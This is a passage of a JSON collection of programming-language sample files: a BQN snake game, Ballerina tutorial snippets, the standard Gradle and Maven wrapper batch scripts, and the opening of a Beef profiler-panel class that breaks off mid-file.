    "content": "# ============================================================\n# This code is part of the \"rayed-lib\" open source project avaiable at:\n#\n#      https://github.com/Brian-ED/rayed-bqn\n#\n# This code is licensed under the MIT License.  You may obtain a\n# copy of the License at:\n#\n#      https://spdx.org/licenses/MIT.html\n# ============================================================\n\n# My highscore is 112... beat that!\n⟨c⇐color,window,draw,k⇐key⟩←r←•Import \"../../raylib.bqn\"\ntextSize ← 100\nsize ← 15\nnonDarkMode‿darkMode ← {\n  ⟨text, fruit, snake, lines, background⟩ ⇐ 𝕩\n}¨{\n  yellow ← 255‿200‿0‿255\n  ⟨c.black‿c.red‿c.blue ‿c.white‿yellow\n   ⌈c.white‿c.red‿c.green‿c.white‿c.black÷1.3⟩ # divided to lower intencity\n}\n\nLoadConsts ← {𝕊:{\n  winSize       ⇐ window.GetSize@\n  textPixelSize ⇐ r.rayFFI.MeasureText¨textSize⋈˜¨\"Paused\"‿\"GAME OVER\"\n  tileSize      ⇐ ⌊winSize⌊´⊸÷size+2\n  lines         ⇐ ≍´˘⌽¨⊸∾(⊢∾⌜2↑1⌽⁼⊢)tileSize×1+↕1+size # Line drawing positions\n  font          ⇐ r.font.LoadBQN 100\n}}\nOnStart ← {𝕤\n  frame ← 0 ⋄ speed ← 10\n  # 0 is gameOver, 1 is playing, 2 is paused\n  gameState ← 1\n  # List of x‿y positions of the snake\n  snake ← [0‿0]\n  fruit ← 2 •rand.Range size\n  # 0‿1 up, 1‿0 right, 0‿¯1 down, ¯1‿0 left\n  # first in list is the current facing, pressing right 1⌽ pressing left 1⌽⁼\n  facing ← [1‿0, 0‿¯1, ¯1‿0, 0‿1]\n  # buffer for key presses\n  buffer ← ⟨⟩\n  palete ← nonDarkMode\n  gameState‿frame‿snake‿fruit‿facing‿speed‿buffer‿palete\n}\nPerGameFrame ← {𝕊gameState‿snake‿fruit‿facing‿buffer:\n  SpawnFruit    ← {•rand.Range∘≠⊸⊑(<˘𝕨)(¬∘∊˜/⊢)⥊↕2⥊size}\n  nowFacing     ← facing⌽˜-´k.left‿k.right=⊑1↑buffer\n  extendedSnake ← nowfacing(⊢∾˜size|+○⊏)snake\n  newFruit      ← extendedSnake SpawnFruit⍟(⊏⊸≡) fruit\n  cutSnake      ← ¯1⊸↓⍟(newFruit≡fruit)extendedSnake\n  ⟨\n    gameState×⍷⊸≡cutSnake # gameState\n    cutSnake              # snake\n    newFruit              # fruit\n    nowFacing             # facing\n    1↓2↑buffer            # reset buffer\n  ⟩\n}⌾(0‿2‿3‿4‿6⊸⊏)\nPerFrame ←{con𝕊⟨gameState,frame,snake,fruit,facing,speed,buffer,pal⟩:\n  pauseP ← k.right_shift = key ← k.PressedKey@\n  c.black‿con.font‿40 draw.Text 10‿10⋈•Repr ¯1+≠snake\n  ⊑◶⟨ # each function is one scene\n    {\n      pal.text‿con.font‿textSize draw.Text \"GAME OVER\"⋈˜2⥊2÷˜con.winSize-1⊑con.textPixelSize\n      pal⌾(7⊑⊢)OnStart⍟pauseP 𝕩 # nums mean values to reset\n    }\n    PerGameFrame⍟(1=speed|frame) {𝕤\n      c.white⊸draw.Line˘con.lines\n      pal.fruit draw.Rectangle +`(1+con.tileSize×1+fruit)≍2⥊con.tileSize-2\n      pal.snake⊸draw.Rectangle⟜⍉˘(con.tileSize-2)(⍉+≍⊢)˘1+con.tileSize×1+snake\n      ⟨frame+1\n       2⌈speed+-´key=k.down‿k.up        # speed\n       key∾⍟(⊑∊⟜k.left‿k.right) buffer⟩ # Key buffer\n    }⌾(1‿5‿6⊸⊏)\n    {\n      pauseText←\"Paused, d for dark\"\n      pal.text‿con.font‿(textSize) draw.Text (2÷˜con.winSize-con.textPixelSize⊑⊸∾textSize)‿pauseText\n\n      {𝕩≡nonDarkMode?darkMode;nonDarkMode}⌾(7⊑⊢)⍟(key=k.d)𝕩\n    }\n  ⟩  {1:2;2:1;𝕩}⍟pauseP⌾⊑ 𝕩\n} draw._withCanvas_ {(7⊑𝕩).background}\n\nGame ← LoadConsts PerFrame•_While_(¬window.ShouldClose) OnStart\nGame window._openAs \"Snake\"\n"
  },
  {
    "path": "samples/Ballerina/hello-world-service.bal",
    "content": "import ballerina.lang.messages;\nimport ballerina.net.http;\nimport ballerina.doc;\n\n@doc:Description {value:\"By default Ballerina assumes that the service is to be exposed via HTTP/1.1 using the system default port and that all requests coming to the HTTP server will be delivered to this service.\"}\nservice<http> helloWorld {\n    @doc:Description {value:\"All resources are invoked with an argument of type message, the built-in reference type representing a network invocation.\"}\n    resource sayHello (message m) {\n        // Creates an empty message.\n        message response = {};\n        // A util method that can be used to set string payload.\n        messages:setStringPayload(response, \"Hello, World!\");\n        // Reply keyword sends the response back to the client.\n        reply response;\n    }\n}\n"
  },
  {
    "path": "samples/Ballerina/hello-world.bal",
    "content": "import ballerina.lang.system;\n\nfunction main (string[] args) {\n    system:println(\"Hello, World!\");\n}\n\n"
  },
  {
    "path": "samples/Ballerina/json.bal",
    "content": "import ballerina.lang.system;\n\nfunction main (string[] args) {\n    // JSON string value.\n    json j1 = \"Apple\";\n    system:println(j1);\n\n    // JSON number value.\n    json j2 = 5.36;\n    system:println(j2);\n\n    // JSON true value.\n    json j3 = true;\n    system:println(j3);\n\n    // JSON false value.\n    json j4 = false;\n    system:println(j4);\n\n    // JSON null value.\n    json j5 = null;\n\n    //JSON Objects.\n    json j6 = {name:\"apple\", color:\"red\", price:j2};\n    system:println(j6);\n\n    //JSON Arrays. They are arrays of any JSON value.\n    json j7 = [1, false, null, \"foo\",\n               {first:\"John\", last:\"Pala\"}];\n    system:println(j7);\n}\n"
  },
  {
    "path": "samples/Ballerina/var.bal",
    "content": "import ballerina.lang.system;\n\nfunction divideBy10 (int d) (int, int) {\n    return d / 10, d % 10;\n}\n\nfunction main (string[] args) {\n    //Here the variable type is inferred type from the initial value. This is same as \"int k = 5\";\n    var k = 5;\n    system:println(10 + k);\n\n    //Here the type of the 'strVar' is 'string'.\n    var strVar = \"Hello!\";\n    system:println(strVar);\n\n    //Multiple assignment with 'var' allows you to define the variable then and there.\n    //Variable type is inferred from the right-hand side.\n    var q, r = divideBy10(6);\n    system:println(\"06/10: \" + \"quotient=\" + q + \" \" +\n                   \"remainder=\" + r);\n\n    //To ignore a particular return value in a multiple assignment statement, use '_'.\n    var q1, _ = divideBy10(57);\n    system:println(\"57/10: \" + \"quotient=\" + q1);\n\n    var _, r1 = divideBy10(9);\n    system:println(\"09/10: \" + \"remainder=\" + r1);\n}\n"
  },
  {
    "path": "samples/Ballerina/xml.bal",
    "content": "import ballerina.lang.system;\n\nfunction main (string[] args) {\n\n\t// XML element. Can only have one root element.\n    xml x1 = xml `<book>The Lost World</book>`;\n    system:println(x1);\n\n    // XML text\n    xml x2 = xml `Hello, world!`;\n    system:println(x2);\n\n    // XML comment\n    xml x3 = xml `<!--I am a comment-->`;\n    system:println(x3);\n\n    // XML processing instruction\n    xml x4 = xml `<?target data?>`;\n    system:println(x4);\n\n    // Multiple XML items can be combined to form a sequence of XML. The resulting sequence is again an XML on its own.\n    xml x5 = x1 + x2 + x3 + x4;\n    system:println(\"\\nResulting XML sequence:\");\n    system:println(x5);\n\n}\n"
  },
  {
    "path": "samples/Batchfile/filenames/gradlew.bat",
    "content": "@rem\r\n@rem Copyright 2015 the original author or authors.\r\n@rem\r\n@rem Licensed under the Apache License, Version 2.0 (the \"License\");\r\n@rem you may not use this file except in compliance with the License.\r\n@rem You may obtain a copy of the License at\r\n@rem\r\n@rem      https://www.apache.org/licenses/LICENSE-2.0\r\n@rem\r\n@rem Unless required by applicable law or agreed to in writing, software\r\n@rem distributed under the License is distributed on an \"AS IS\" BASIS,\r\n@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n@rem See the License for the specific language governing permissions and\r\n@rem limitations under the License.\r\n@rem\r\n@rem SPDX-License-Identifier: Apache-2.0\r\n@rem\r\n\r\n@if \"%DEBUG%\"==\"\" @echo off\r\n@rem ##########################################################################\r\n@rem\r\n@rem  Gradle startup script for Windows\r\n@rem\r\n@rem ##########################################################################\r\n\r\n@rem Set local scope for the variables with windows NT shell\r\nif \"%OS%\"==\"Windows_NT\" setlocal\r\n\r\nset DIRNAME=%~dp0\r\nif \"%DIRNAME%\"==\"\" set DIRNAME=.\r\n@rem This is normally unused\r\nset APP_BASE_NAME=%~n0\r\nset APP_HOME=%DIRNAME%\r\n\r\n@rem Resolve any \".\" and \"..\" in APP_HOME to make it shorter.\r\nfor %%i in (\"%APP_HOME%\") do set APP_HOME=%%~fi\r\n\r\n@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\r\nset DEFAULT_JVM_OPTS=\"-Xmx64m\" \"-Xms64m\"\r\n\r\n@rem Find java.exe\r\nif defined JAVA_HOME goto findJavaFromJavaHome\r\n\r\nset JAVA_EXE=java.exe\r\n%JAVA_EXE% -version >NUL 2>&1\r\nif %ERRORLEVEL% equ 0 goto execute\r\n\r\necho. 1>&2\r\necho ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2\r\necho. 1>&2\r\necho Please set the JAVA_HOME variable in your environment to match the 1>&2\r\necho location of your Java installation. 1>&2\r\n\r\ngoto fail\r\n\r\n:findJavaFromJavaHome\r\nset JAVA_HOME=%JAVA_HOME:\"=%\r\nset JAVA_EXE=%JAVA_HOME%/bin/java.exe\r\n\r\nif exist \"%JAVA_EXE%\" goto execute\r\n\r\necho. 1>&2\r\necho ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2\r\necho. 1>&2\r\necho Please set the JAVA_HOME variable in your environment to match the 1>&2\r\necho location of your Java installation. 1>&2\r\n\r\ngoto fail\r\n\r\n:execute\r\n@rem Setup the command line\r\n\r\n\r\n\r\n@rem Execute Gradle\r\n\"%JAVA_EXE%\" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% \"-Dorg.gradle.appname=%APP_BASE_NAME%\" -jar \"%APP_HOME%\\gradle\\wrapper\\gradle-wrapper.jar\" %*\r\n\r\n:end\r\n@rem End local scope for the variables with windows NT shell\r\nif %ERRORLEVEL% equ 0 goto mainEnd\r\n\r\n:fail\r\nrem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of\r\nrem the _cmd.exe /c_ return code!\r\nset EXIT_CODE=%ERRORLEVEL%\r\nif %EXIT_CODE% equ 0 set EXIT_CODE=1\r\nif not \"\"==\"%GRADLE_EXIT_CONSOLE%\" exit %EXIT_CODE%\r\nexit /b %EXIT_CODE%\r\n\r\n:mainEnd\r\nif \"%OS%\"==\"Windows_NT\" endlocal\r\n\r\n:omega\r\n"
  },
  {
    "path": "samples/Batchfile/filenames/mvnw.cmd",
    "content": "@REM ----------------------------------------------------------------------------\r\n@REM Licensed to the Apache Software Foundation (ASF) under one\r\n@REM or more contributor license agreements.  See the NOTICE file\r\n@REM distributed with this work for additional information\r\n@REM regarding copyright ownership.  The ASF licenses this file\r\n@REM to you under the Apache License, Version 2.0 (the\r\n@REM \"License\"); you may not use this file except in compliance\r\n@REM with the License.  You may obtain a copy of the License at\r\n@REM\r\n@REM    http://www.apache.org/licenses/LICENSE-2.0\r\n@REM\r\n@REM Unless required by applicable law or agreed to in writing,\r\n@REM software distributed under the License is distributed on an\r\n@REM \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\r\n@REM KIND, either express or implied.  See the License for the\r\n@REM specific language governing permissions and limitations\r\n@REM under the License.\r\n@REM ----------------------------------------------------------------------------\r\n\r\n@REM ----------------------------------------------------------------------------\r\n@REM Apache Maven Wrapper startup batch script, version 3.3.4\r\n@REM\r\n@REM Required ENV vars:\r\n@REM JAVA_HOME - location of a JDK home dir\r\n@REM\r\n@REM Optional ENV vars\r\n@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands\r\n@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending\r\n@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven\r\n@REM     e.g. to debug Maven itself, use\r\n@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\r\n@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files\r\n@REM ----------------------------------------------------------------------------\r\n\r\n@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'\r\n@echo off\r\n@REM set title of command window\r\ntitle %0\r\n@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'\r\n@if \"%MAVEN_BATCH_ECHO%\" == \"on\"  echo %MAVEN_BATCH_ECHO%\r\n\r\n@REM set %HOME% to equivalent of $HOME\r\nif \"%HOME%\" == \"\" (set \"HOME=%HOMEDRIVE%%HOMEPATH%\")\r\n\r\n@REM Execute a user defined script before this one\r\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPre\r\n@REM check for pre script, once with legacy .bat ending and once with .cmd ending\r\nif exist \"%USERPROFILE%\\mavenrc_pre.bat\" call \"%USERPROFILE%\\mavenrc_pre.bat\" %*\r\nif exist \"%USERPROFILE%\\mavenrc_pre.cmd\" call \"%USERPROFILE%\\mavenrc_pre.cmd\" %*\r\n:skipRcPre\r\n\r\n@setlocal\r\n\r\nset ERROR_CODE=0\r\n\r\n@REM To isolate internal variables from possible post scripts, we use another setlocal\r\n@setlocal\r\n\r\n@REM ==== START VALIDATION ====\r\nif not \"%JAVA_HOME%\" == \"\" goto OkJHome\r\n\r\necho. >&2\r\necho Error: JAVA_HOME not found in your environment. >&2\r\necho Please set the JAVA_HOME variable in your environment to match the >&2\r\necho location of your Java installation. >&2\r\necho. >&2\r\ngoto error\r\n\r\n:OkJHome\r\nif exist \"%JAVA_HOME%\\bin\\java.exe\" goto init\r\n\r\necho. >&2\r\necho Error: JAVA_HOME is set to an invalid directory. >&2\r\necho JAVA_HOME = \"%JAVA_HOME%\" >&2\r\necho Please set the JAVA_HOME variable in your environment to match the >&2\r\necho location of your Java installation. >&2\r\necho. >&2\r\ngoto error\r\n\r\n@REM ==== END VALIDATION ====\r\n\r\n:init\r\n\r\n@REM Find the project base dir, i.e. the directory that contains the folder \".mvn\".\r\n@REM Fallback to current working directory if not found.\r\n\r\nset MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%\r\nIF NOT \"%MAVEN_PROJECTBASEDIR%\"==\"\" goto endDetectBaseDir\r\n\r\nset EXEC_DIR=%CD%\r\nset WDIR=%EXEC_DIR%\r\n:findBaseDir\r\nIF EXIST \"%WDIR%\"\\.mvn goto baseDirFound\r\ncd ..\r\nIF \"%WDIR%\"==\"%CD%\" goto baseDirNotFound\r\nset WDIR=%CD%\r\ngoto findBaseDir\r\n\r\n:baseDirFound\r\nset MAVEN_PROJECTBASEDIR=%WDIR%\r\ncd \"%EXEC_DIR%\"\r\ngoto endDetectBaseDir\r\n\r\n:baseDirNotFound\r\nset MAVEN_PROJECTBASEDIR=%EXEC_DIR%\r\ncd \"%EXEC_DIR%\"\r\n\r\n:endDetectBaseDir\r\n\r\nIF NOT EXIST \"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\" goto endReadAdditionalConfig\r\n\r\n@setlocal EnableExtensions EnableDelayedExpansion\r\nfor /F \"usebackq delims=\" %%a in (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a\r\n@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%\r\n\r\n:endReadAdditionalConfig\r\n\r\nSET MAVEN_JAVA_EXE=\"%JAVA_HOME%\\bin\\java.exe\"\r\nset WRAPPER_JAR=\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.jar\"\r\nset WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\r\n\r\nset WRAPPER_URL=\"https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.3.4/maven-wrapper-3.3.4.jar\"\r\n\r\nFOR /F \"usebackq tokens=1,2 delims==\" %%A IN (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.properties\") DO (\r\n    IF \"%%A\"==\"wrapperUrl\" SET WRAPPER_URL=%%B\r\n)\r\n\r\n@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\r\n@REM This allows using the maven wrapper in projects that prohibit checking in binary data.\r\nif exist %WRAPPER_JAR% (\r\n    if \"%MVNW_VERBOSE%\" == \"true\" (\r\n        echo Found %WRAPPER_JAR%\r\n    )\r\n) else (\r\n    if not \"%MVNW_REPOURL%\" == \"\" (\r\n        SET WRAPPER_URL=\"%MVNW_REPOURL%/org/apache/maven/wrapper/maven-wrapper/3.3.4/maven-wrapper-3.3.4.jar\"\r\n    )\r\n    if \"%MVNW_VERBOSE%\" == \"true\" (\r\n        echo Couldn't find %WRAPPER_JAR%, downloading it ...\r\n        echo Downloading from: %WRAPPER_URL%\r\n    )\r\n\r\n    powershell -Command \"&{\"^\r\n\t\t\"$webclient = new-object System.Net.WebClient;\"^\r\n\t\t\"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {\"^\r\n\t\t\"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');\"^\r\n\t\t\"}\"^\r\n\t\t\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%WRAPPER_URL%', '%WRAPPER_JAR%')\"^\r\n\t\t\"}\"\r\n    if \"%MVNW_VERBOSE%\" == \"true\" (\r\n        echo Finished downloading %WRAPPER_JAR%\r\n    )\r\n)\r\n@REM End of extension\r\n\r\n@REM If specified, validate the SHA-256 sum of the Maven wrapper jar file\r\nSET WRAPPER_SHA_256_SUM=\"\"\r\nFOR /F \"usebackq tokens=1,2 delims==\" %%A IN (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.properties\") DO (\r\n    IF \"%%A\"==\"wrapperSha256Sum\" SET WRAPPER_SHA_256_SUM=%%B\r\n)\r\nIF NOT %WRAPPER_SHA_256_SUM%==\"\" (\r\n    powershell -Command \"&{\"^\r\n       \"Import-Module $PSHOME\\Modules\\Microsoft.PowerShell.Utility -Function Get-FileHash;\"^\r\n       \"$hash = (Get-FileHash \\\"%WRAPPER_JAR%\\\" -Algorithm SHA256).Hash.ToLower();\"^\r\n       \"If('%WRAPPER_SHA_256_SUM%' -ne $hash){\"^\r\n       \"  Write-Error 'Error: Failed to validate Maven wrapper SHA-256, your Maven wrapper might be compromised.';\"^\r\n       \"  Write-Error 'Investigate or delete %WRAPPER_JAR% to attempt a clean download.';\"^\r\n       \"  Write-Error 'If you updated your Maven version, you need to update the specified wrapperSha256Sum property.';\"^\r\n       \"  exit 1;\"^\r\n       \"}\"^\r\n       \"}\"\r\n    if ERRORLEVEL 1 goto error\r\n)\r\n\r\n@REM Provide a \"standardized\" way to retrieve the CLI args that will\r\n@REM work with both Windows and non-Windows executions.\r\nset MAVEN_CMD_LINE_ARGS=%*\r\n\r\n%MAVEN_JAVA_EXE% ^\r\n  %JVM_CONFIG_MAVEN_PROPS% ^\r\n  %MAVEN_OPTS% ^\r\n  %MAVEN_DEBUG_OPTS% ^\r\n  -classpath %WRAPPER_JAR% ^\r\n  \"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%\" ^\r\n  %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*\r\nif ERRORLEVEL 1 goto error\r\ngoto end\r\n\r\n:error\r\nset ERROR_CODE=1\r\n\r\n:end\r\n@endlocal & set ERROR_CODE=%ERROR_CODE%\r\n\r\nif not \"%MAVEN_SKIP_RC%\"==\"\" goto skipRcPost\r\n@REM check for post script, once with legacy .bat ending and once with .cmd ending\r\nif exist \"%USERPROFILE%\\mavenrc_post.bat\" call \"%USERPROFILE%\\mavenrc_post.bat\"\r\nif exist \"%USERPROFILE%\\mavenrc_post.cmd\" call \"%USERPROFILE%\\mavenrc_post.cmd\"\r\n:skipRcPost\r\n\r\n@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'\r\nif \"%MAVEN_BATCH_PAUSE%\"==\"on\" pause\r\n\r\nif \"%MAVEN_TERMINATE_CMD%\"==\"on\" exit %ERROR_CODE%\r\n\r\ncmd /C exit /B %ERROR_CODE%\r\n"
  },
  {
    "path": "samples/Beef/ProfilePanel.bf",
    "content": "using Beefy.widgets;\nusing Beefy.theme.dark;\nusing Beefy.gfx;\nusing System.Collections;\nusing System;\nusing System.Diagnostics;\nusing Beefy.events;\nusing System.Threading;\nusing Beefy;\n\nnamespace BeefPerf\n{\n\tclass ProfilePanel : Widget\n\t{\n\t\tpublic class ProfileListViewItem : DarkVirtualListViewItem\n\t\t{\n\t\t\tpublic override void MouseDown(float x, float y, int32 btn, int32 btnCount)\n\t\t\t{\n\t\t\t\t((ProfileListView)mListView).mProfilePanel.ItemClicked(this, btn, btnCount, x, y);\n\t\t\t}\n\n\t\t\tpublic override bool Selected\n\t\t\t{\n\t\t\t\tset\n\t\t\t\t{\n\t\t\t\t\tif (value)\n\t\t\t\t\t{\n\t\t\t\t\t\tint32 selectedIdx = mVirtualIdx;\n\t\t\t\t\t\tvar profilePanel = ((ProfileListView)mListView).mProfilePanel;\n\t\t\t\t\t\tvar result = profilePanel.mProfileCtx.mResults[selectedIdx];\n\t\t\t\t\t\tDeleteAndNullify!(profilePanel.mPerfView.mProfileHiliteZone);\n\t\t\t\t\t\tprofilePanel.mPerfView.mProfileHiliteZone = new PerfView.HiliteZone(result.mZoneNameId, result.mUnformattedName);\n\n\t\t\t\t\t\t//result.mName\n\t\t\t\t\t}\n\n\t\t\t\t\tbase.Selected = value;\n\t\t\t\t\t//int32 selectedIdx = item.mVirtualIdx;\n\t\t\t\t\t//var foundEntry = mSearchState.mFoundEntries[selectedIdx];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tpublic class ProfileListView : DarkVirtualListView\n\t\t{\n\t\t\tpublic ProfilePanel mProfilePanel;\n\n\t\t\tpublic override void ChangeSort(DarkListView.SortType sortType)\n\t\t\t{\n\t\t\t\tbase.ChangeSort(sortType);\n\t\t\t\tmSortType = sortType;\n\t\t\t\tmProfilePanel.RefreshList();\n\t\t\t}\n\n\t\t\tprotected override ListViewItem CreateListViewItem()\n\t\t\t{\n\t\t\t\treturn new ProfileListViewItem();\n\t\t\t}\n\n\t\t\tpublic override void PopulateVirtualItem(DarkVirtualListViewItem listViewItem)\n\t\t\t{\n\t\t\t\tbase.PopulateVirtualItem(listViewItem);\n\n\t\t\t\tvar client = mProfilePanel.mPerfView.mSession;\n\t\t\t\tvar perfInfo = mProfilePanel.mProfileCtx.mResults[listViewItem.mVirtualIdx];\n\t\t\t\tlistViewItem.Label = perfInfo.mName;\n\n\t\t\t\tvar subItem = listViewItem.CreateSubItem(1);\n\t\t\t\tsubItem.mLabel = new String();\n\t\t\t\tsubItem.mLabel.AppendF(\"{0}\", perfInfo.mCount);\n\n\t\t\t\tsubItem = listViewItem.CreateSubItem(2);\n\t\t\t\tsubItem.mLabel = new String();\n\t\t\t\tclient.ElapsedTicksToStr(perfInfo.mTicks, subItem.mLabel);\n\n\t\t\t\tsubItem = listViewItem.CreateSubItem(3);\n\t\t\t\tsubItem.mLabel = new String();\n\t\t\t\tclient.ElapsedTicksToStr(perfInfo.mTicks - perfInfo.mChildTicks, subItem.mLabel);\n\t\t\t}\n\n\t\t\tpublic override void DrawAll(Graphics g)\n\t\t\t{\n\t\t\t\tbase.DrawAll(g);\n\n\t\t\t\tif (((mProfilePanel.mProfileCtx != null) && (!mProfilePanel.mProfileCtx.mDone)) || (mProfilePanel.mSorting))\n\t\t\t\t{\n\t\t\t\t\tusing (g.PushColor(0xA0595959))\n\t\t\t\t\t\tg.FillRect(0, 20, mWidth - 20, mHeight - 20);\n\t\t\t\t\tBPUtils.DrawWait(g, mWidth / 2, mHeight / 2);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tpublic override void KeyDown(KeyCode keyCode, bool isRepeat)\n\t\t\t{\n\t\t\t\tbase.KeyDown(keyCode, isRepeat);\n\t\t\t\tif (keyCode == .Escape)\n\t\t\t\t{\n\t\t\t\t\tmProfilePanel.RemoveFocus();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tpublic void GetSummaryString(String str)\n\t\t\t{\n\t\t\t\tstr.Append(\"Name____________________________________Count_______Total________Self\\n\");\n\t\t\t\tfor (var entry in mProfilePanel.mProfileCtx.mResults)\n\t\t\t\t{\n\t\t\t\t\tstr.Append(entry.mName);\n\t\t\t\t\tstr.Append(' ', Math.Max(38 - entry.mName.Length, 1));\n\n\t\t\t\t\tvar entryStr = scope String();\n\t\t\t\t\tentry.mCount.ToString(entryStr);\n\t\t\t\t\tstr.Append(' ', Math.Max(7 - entryStr.Length, 1));\n\t\t\t\t\tstr.Append(entryStr);\n\n\t\t\t\t\tentryStr.Clear();\n\t\t\t\t\tmProfilePanel.mProfileCtx.mSession.ElapsedTicksToStr(entry.mTicks, entryStr);\n\t\t\t\t\tstr.Append(' ', Math.Max(12 - entryStr.Length, 1));\n\t\t\t\t\tstr.Append(entryStr);\n\n\t\t\t\t\tentryStr.Clear();\n\t\t\t\t\tmProfilePanel.mProfileCtx.mSession.ElapsedTicksToStr(entry.mTicks - entry.mChildTicks, entryStr);\n\t\t\t\t\tstr.Append(' ', Math.Max(12 - entryStr.Length, 1));\n\t\t\t\t\tstr.Append(entryStr);\n\t\t\t\t\tstr.Append('\\n');\n\t\t\t\t}\n\n\t\t\t\tstr.Append(\"---------------------------------------------------------------------\\n\");\n\t\t\t\tstr.Append(\"Total Time: \");\n\n\t\t\t\tmProfilePanel.mProfileCtx.mSession.ElapsedTicksToStr(mProfilePanel.mSelection.mTickEnd - mProfilePanel.mSelection.mTickStart, str);\n\t\t\t}\n\n\t\t\tpublic void AddStaticMenu(Menu menu)\n\t\t\t{\n\t\t\t\tvar menuItem = menu.AddItem(\"Copy to Clipboard\");\n\t\t\t\tmenuItem.mOnMenuItemSelected.Add(new (item) =>\n\t\t\t\t    {\n\t\t\t\t\t\tString str = scope String();\n\t\t\t\t\t\tGetSummaryString(str);\n\t\t\t\t\t\tgApp.SetClipboardText(str);\n\t\t\t\t\t\t//Debug.WriteLine(str);\n\t\t\t\t\t\t\n\t\t\t\t    });\n\t\t\t}\n\n\t\t\tpublic override void MouseDown(float x, float y, int32 btn, int32 btnCount)\n\t\t\t{\n\t\t\t\tbase.MouseDown(x, y, btn, btnCount);\n\n\t\t\t\tGetRoot().SelectItemExclusively(null);\n\t\t\t\tif (btn == 1)\n\t\t\t\t{\n\t\t\t\t\tMenu menu = new Menu();\n\t\t\t\t\tAddStaticMenu(menu);\n\t\t\t\t\tMenuWidget menuWidget = DarkTheme.sDarkTheme.CreateMenuWidget(menu);\n\t\t\t\t\tmenuWidget.Init(this, x, y);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tDarkCheckBox mFormatCheckbox;\n\t\tProfileListView mListView;\n\t\tDarkButton mGetButton;\n\n\t\tPerfView mPerfView;\n\t\tBPSelection mSelection;\n\t\tbool mSelectionDirty;\n\t\tint64 mActiveLastCurTick;\n\n\t\tProfileContext mProfileCtx ~ delete _;\n\t\tpublic WaitEvent mSortDoneHandle = new WaitEvent() ~ delete _;\n\t\tpublic bool mSorting;\n\t\n\t\tpublic this()\n\t\t{\n\t\t\tmFormatCheckbox = new DarkCheckBox();\n\t\t\tmFormatCheckbox.Checked = true;\n\t\t\tmFormatCheckbox.Label = \"Format Strings\";\n\t\t\tmFormatCheckbox.mOnMouseClick.Add(new [&] (evt) => { mSelectionDirty = true; } );\n\t\t\tAddWidget(mFormatCheckbox);\n\n\t\t\tmListView = new ProfileListView();\n\t\t\tmListView.mProfilePanel = this;\n\t\t\tmListView.mOnLostFocus.Add(new (evt) => { RemoveFocus(); });\n\t\t\tmListView.mSortType.mColumn = 2;\n\t\t\tmListView.mSortType.mReverse = true;\n\t\t\tAddWidget(mListView);\n\t\n\t\t\tmListView.AddColumn(200, \"Name\");\n\t\t\tmListView.AddColumn(100, \"Count\");\n\t\t\tmListView.AddColumn(150, \"Total\");\n\t\t\tmListView.AddColumn(150, \"Self\");\n\t\t\tmListView.InitScrollbars(false, true);\n\t\t}\n\n\t\tpublic ~this()\n\t\t{\n\t\t\tFinishSorting();\n\t\t}\n\n\t\tvoid FinishSorting()\n\t\t{\n\t\t\tif (mSorting)\n\t\t\t{\n\t\t\t\tmSortDoneHandle.WaitFor();\n\t\t\t\tmSorting = false;\n\t\t\t\tmSortDoneHandle.Reset();\n\t\t\t}\n\t\t}\n\n\t\tpublic void RemoveFocus()\n\t\t{\n\t\t\tmListView.GetRoot().SelectItemExclusively(null);\n\t\t\tif (mPerfView != null)\n\t\t\t\tDeleteAndNullify!(mPerfView.mProfileHiliteZone);\n\t\t}\n\n\t\tpublic override void Resize(float x, float y, float width, float height)\n\t\t{\n\t\t\tbase.Resize(x, y, width, height);\n\t\n\t\t\tmListView.ResizeClamped(0, 20, width, height - 20);\n\t\t\tmFormatCheckbox.Resize(0, 0, 20, 20);\n\t\t}\n\t\n\t\tpublic override void Draw(Graphics g)\n\t\t{\n\t\t\tbase.Draw(g);\n\n\t\t\tg.SetFont(DarkTheme.sDarkTheme.mSmallFont);\n\t\t\tif (mProfileCtx != null)\n\t\t\t{\n\t\t\t\tString str = scope String();\n\t\t\t\tstr.Append(\"Total Time: 